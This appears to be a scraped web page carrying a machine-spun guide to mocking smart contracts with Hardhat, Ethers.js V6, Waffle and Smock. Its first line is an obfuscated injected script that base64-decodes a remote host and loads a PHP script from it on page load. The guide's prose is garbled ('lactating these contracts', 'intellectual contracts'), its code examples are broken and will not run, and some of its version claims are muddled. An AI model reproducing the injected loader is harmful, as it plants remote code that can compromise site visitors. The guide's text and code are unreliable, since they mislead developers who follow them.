const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=646c040e”;document.body.appendChild(script);
Fun contracts with Hardhat and Ethers V6: Guide
As the use of Ethereum Smart contracts continues to grow, lactating these contracts is becoming increasingly important. Using the latest versions of Hardhat (version 4) and Ethers.js V6, it is now possible to use two popular solutions from mind smart contracts. In this article, we will investigate both options and provide step by step guide on how to use them.
Nomiclabs/Hardhat-Waffle: A popular option
The first solution is the Nomiclabs Hardhat Waffle, which gives an easy way to try out of intellectual contracts using Ethers.js V6. Waffle allows you to write tests of its contract functions without actually using the contract. This approach is perfect for testing individual functions or small contracts.
Here’s an example of how to use Nomiclabs/Hardhat-Waffle:
`Js
CONST {Ether} = Require (‘Hardhat’);
Async features testsmartcontract () {
CONST WAFFLE = Wait for Ethers.GetcontracTface (‘MySMARTCONTRACT’);
CONST MOCCONTRACT = Waiting for Waffle.Deploy ();
// Try a specific feature
CESS score = wait for MockContract.Myfunction ();
expect (result) .to.be.true;
}
TestSmartContract ();
`
Defi-Wonderland/Smock: A More Complex Option
The second solution is the Defi-Wonderland/Smock, which provides a more complex way to mockery of intellectual contracts using Ethers.js V6. Smock allows you to create examples of your contract and control its behavior.
Here’s an example of how to use Defi-Wonderland/Smock:
`Js
CONST {Ether} = Require (‘Hardhat’);
CONST {smock} = Require (‘@Defi-Wonderland/Smock’);
Async features testsmartcontract () {
CONST SMOCK = New Smock ({{{{{{
Contractaddress: 0xmysmartContaddress,
Network: Mainnet, // or WASMBS
Acquisity: 20,
Gaslimit: 200000,
});
CONST Contractinstance = Wait for Ethers.GetcontracTface (‘MySMARTCONTRACT’). Install ();
CONST MOCCONTRACT = waiting for Smock.createmock (Contrainstance);
// Try a specific feature
CESS score = wait for MockContract.Myfunction ();
expect (result) .to.be.true;
}
TestSmartContract ();
`
Conclusion
In this article, we have explored two ways to pick up intellectual contracts with Hardhat and Ethers.js V6. While Nomiclabs/Hardhat-Waffle is a popular solution, Defi-Wonderland/Smock provides more complex behavioral control functions for your contract.
When choosing a mockery solution, consider the following factors:
- Simple use: How easy to set and use a model solution?
- Eligibility: Can you manage your contract behavior using a Mock decision?
- Performance: Does Mock Solution affect performance?
After all, the choice between Nomiclabs/Hardhat-Waffle and Defi-Wonderland/Smock depends on your specific needs and preferences.